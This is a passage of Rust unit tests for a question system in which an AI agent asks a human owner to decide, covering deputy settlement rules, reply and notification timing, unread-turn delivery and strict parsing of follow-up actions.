2845 q.reply("sure?", vec!["merge".into(), "hold".into()])
2846 .unwrap();
2847 q.say("wait, don't merge").unwrap();
2848 assert!(q.settle_by_deputy("deputy-x", "merge", "merge").is_err());
2849 assert_eq!(q.status, QuestionStatus::Open);
2850 }
2851
2852 #[test]
2853 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
2854 let mut q = Question::new(
2855 "task".to_owned(),
2856 "conduct".to_owned(),
2857 "conduct".to_owned(),
2858 "Done?".to_owned(),
2859 String::new(),
2860 vec!["yes".to_owned(), "no".to_owned()],
2861 );
2862 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
2863 seat.turns = 1;
2864 let mut dep = Deputy::new("brief".to_owned());
2865 dep.seat = Some(seat);
2866 q.deputy = Some(dep);
2867 q.say("setup done, go ahead").unwrap();
2868
2869 assert!(
2870 q.settle_by_deputy("someone-else", "yes", "setup done")
2871 .is_err()
2872 );
2873 assert!(
2874 q.settle_by_deputy("deputy-x", "maybe", "setup done")
2875 .is_err()
2876 );
2877 assert!(
2878 q.settle_by_deputy("deputy-x", "yes", "never said this")
2879 .is_err()
2880 );
2881 assert!(q.settle_by_deputy("deputy-x", "yes", " ").is_err());
2882 assert_eq!(q.status, QuestionStatus::Open);
2883
2884 q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
2885 assert_eq!(q.status, QuestionStatus::Answered);
2886 assert_eq!(q.resolution().as_deref(), Some("yes"));
2887 let last = q.thread.last().unwrap();
2888 assert_eq!(last.who, Who::Agent);
2889 assert!(
2890 last.body.contains("setup done"),
2891 "the quote stays on the record"
2892 );
2893 }
2894
2895 #[test]
2896 fn a_question_written_before_deputies_still_reads() {
2897 let mut q = Question::new(
2898 "task".to_owned(),
2899 "conduct".to_owned(),
2900 "conduct".to_owned(),
2901 "Done?".to_owned(),
2902 String::new(),
2903 Vec::new(),
2904 );
2905 q.schema = 4;
2906 let mut v = serde_json::to_value(&q).unwrap();
2907 v.as_object_mut().unwrap().remove("deputy");
2908 let back: Question = serde_json::from_value(v).unwrap();
2909 assert!(back.deputy.is_none());
2910 }
2911
2912 #[test]
2913 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2914 let mut q = choice_question();
2915 q.say("does the cache need eviction?").unwrap();
2916 assert_eq!(q.thread.len(), 1);
2917 assert_eq!(q.thread[0].who, Who::Operator);
2918 assert_eq!(q.thread[0].body, "does the cache need eviction?");
2919 assert_eq!(q.status, QuestionStatus::Open);
2922 assert!(q.answer.is_none());
2923 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2924 }
2925
2926 #[test]
2927 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2928 let mut answered = choice_question();
2929 answered
2930 .answer(Answer::Choice("SQLite".to_owned()))
2931 .unwrap();
2932 let a = answered.say("still there?").unwrap_err().to_string();
2933 assert!(a.contains("already answered"), "{a}");
2934 let b = answered
2935 .reply("still there?", vec![])
2936 .unwrap_err()
2937 .to_string();
2938 assert!(b.contains("already answered"), "{b}");
2939
2940 let mut abandoned = choice_question();
2941 abandoned.abandon("timed out");
2942 let c = abandoned.say("hello?").unwrap_err().to_string();
2943 assert!(c.contains("abandoned"), "{c}");
2944
2945 let mut open = choice_question();
2946 let d = open.say(" ").unwrap_err().to_string();
2947 assert!(d.contains("empty"), "{d}");
2948 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
2949 assert!(e.contains("empty"), "{e}");
2950 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2951 }
2952
2953 #[test]
2954 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2955 let mut q = choice_question();
2956 q.say("SQLite or Redis, but what about disk space?")
2957 .unwrap();
2958 assert!(q.waiting_on_agent());
2959
2960 q.reply(
2961 "SQLite: it is one file, no server to run.",
2962 vec!["SQLite".to_owned()],
2963 )
2964 .unwrap();
2965
2966 assert_eq!(q.choices, ["SQLite"]);
2967 assert!(
2968 !q.waiting_on_agent(),
2969 "the agent spoke, so the owner is the one being waited on now"
2970 );
2971 assert_eq!(q.thread.len(), 2);
2972 assert_eq!(q.thread[1].who, Who::Agent);
2973
2974 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2976 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2977 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2978 }
2979
2980 #[test]
2981 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2982 let mut fresh = choice_question();
2983 assert!(
2984 fresh.should_notify(Timestamp::now()),
2985 "nobody has been notified yet, so the first ask always pages"
2986 );
2987
2988 fresh.say("why not Postgres?").unwrap();
2989 let just_said = fresh.thread[0].at;
2990 assert!(
2991 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2992 "still on the screen a minute later; no need to page again"
2993 );
2994 assert!(
2995 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2996 "exactly the window: `>` means this side stays quiet"
2997 );
2998 assert!(
2999 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3000 "past the window: they may have walked away"
3001 );
3002 }
3003
3004 #[test]
3005 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3006 let (_dir, s) = store();
3007 let mut q = choice_question();
3008 s.put(&mut q).unwrap();
3009 q.say("why not Postgres?").unwrap();
3010 s.put(&mut q).unwrap();
3011 q.reply("no server to run", vec!["SQLite".to_owned()])
3012 .unwrap();
3013 s.put(&mut q).unwrap();
3014
3015 assert_eq!(
3016 s.count_open(),
3017 1,
3018 "one question that talked twice is still one open question"
3019 );
3020 assert_eq!(s.open_for(&q.run).len(), 1);
3021 }
3022
3023 #[tokio::test]
3024 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3025 let (dir, s) = store();
3026 let mut q = choice_question();
3027 let id = q.id.clone();
3028 let writer = Questions::at(dir.path().join("questions"));
3029 let handle = tokio::spawn(async move {
3030 tokio::time::sleep(Duration::from_millis(30)).await;
3031 let mut fresh = writer.get(&id).expect("the question was filed first");
3032 fresh.say("why not Postgres?").unwrap();
3033 writer.put(&mut fresh).unwrap();
3034 });
3035
3036 let got = wait_for_owner(
3037 &mut q,
3038 &s,
3039 &quiet(),
3040 Duration::from_secs(5),
3041 Duration::from_millis(10),
3042 )
3043 .await
3044 .unwrap();
3045
3046 handle.await.unwrap();
3047 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3048 assert_eq!(
3049 q.status,
3050 QuestionStatus::Open,
3051 "talking back is not a decision; the question stays open"
3052 );
3053 assert!(q.answer.is_none());
3054 }
3055
3056 #[test]
3057 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3058 let mut q = choice_question();
3059 q.say("A").unwrap();
3060 q.delivered_turns = q.thread.len();
3061 q.say("B").unwrap();
3062 q.reply("about A", vec![]).unwrap();
3063 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3064 q.delivered_turns = q.thread.len();
3065 assert_eq!(q.unread_from_owner(), None);
3066 }
3067
3068 #[test]
3069 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3070 let (_d, s) = store();
3071 let mut q = choice_question();
3072 s.put(&mut q).unwrap();
3073 q.say("first").unwrap();
3074 q.say("second").unwrap();
3075 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3076 s.put(&mut q).unwrap();
3077 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3078 let mut out = Vec::new();
3079 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3080 let shown = String::from_utf8(out).unwrap();
3081 let (a, b, c) = (
3082 shown.find("first").unwrap(),
3083 shown.find("second").unwrap(),
3084 shown.find("SQLite").unwrap(),
3085 );
3086 assert!(a < b && b < c, "{shown}");
3087 assert_eq!(q.delivered_turns, q.thread.len());
3088 assert!(q.answer_delivered);
3089 }
3090
3091 #[test]
3092 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3093 let mut q = choice_question();
3094 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3095 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3096 let mut q = choice_question();
3097 q.say("old").unwrap();
3098 q.delivered_turns = q.thread.len();
3099 q.say("new").unwrap();
3100 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3101 let shown = answer_for_agent(&q, "SQLite");
3102 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3103 }
3104
3105 #[test]
3106 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3107 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3108 let ok = parse_actions(
3109 &[
3110 "resume で続行する=resume".to_owned(),
3111 "wait=done".to_owned(),
3112 ],
3113 &choices,
3114 "run-1",
3115 )
3116 .unwrap();
3117 assert_eq!(
3118 ok["resume で続行する"],
3119 ChoiceAction::Resume {
3120 run: "run-1".into()
3121 }
3122 );
3123 assert_eq!(ok["wait"], ChoiceAction::Done);
3124
3125 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3126 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3127 assert_eq!(
3128 ChoiceAction::parse("x=requeue", "").unwrap().1,
3129 ChoiceAction::Requeue
3130 );
3131
3132 for bad in [
3133 "no-equals",
3134 "=done",
3135 "x=resume",
3136 "x=resume:",
3137 "x=explode",
3138 "x=done:1",
3139 ] {
3140 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3141 }
3142 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3143 assert!(
3144 parse_actions(
3145 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3146 &choices,
3147 ""
3148 )
3149 .is_err()
3150 );
3151 }
3152
3153 #[test]
3154 fn only_a_chosen_label_with_an_action_is_actionable() {
3155 let mut q = choice_question();
3156 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3157 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3158 assert!(q.chosen_action().is_none(), "unanswered");
3159 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3160 assert!(
3161 q.chosen_action().is_none(),
3162 "a label that merely reads like an action does nothing"
3163 );
3164
3165 let mut q2 = choice_question();
3166 q2.choices = vec!["SQLite".to_owned()];
3167 q2.actions
3168 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3169 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3170 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3171 }
3172
3173 #[test]
3174 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3175 let mut q = choice_question();
3176 q.choices = vec!["A".to_owned(), "B".to_owned()];
3177 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3178 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3179 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3180 assert_eq!(q.actions.len(), 1);
3181 assert!(q.actions.contains_key("B"));
3182
3183 let mut v = serde_json::to_value(&q).unwrap();
3184 v.as_object_mut().unwrap().remove("actions");
3185 let old: Question = serde_json::from_value(v).unwrap();
3186 assert!(old.actions.is_empty());
3187 }
3188}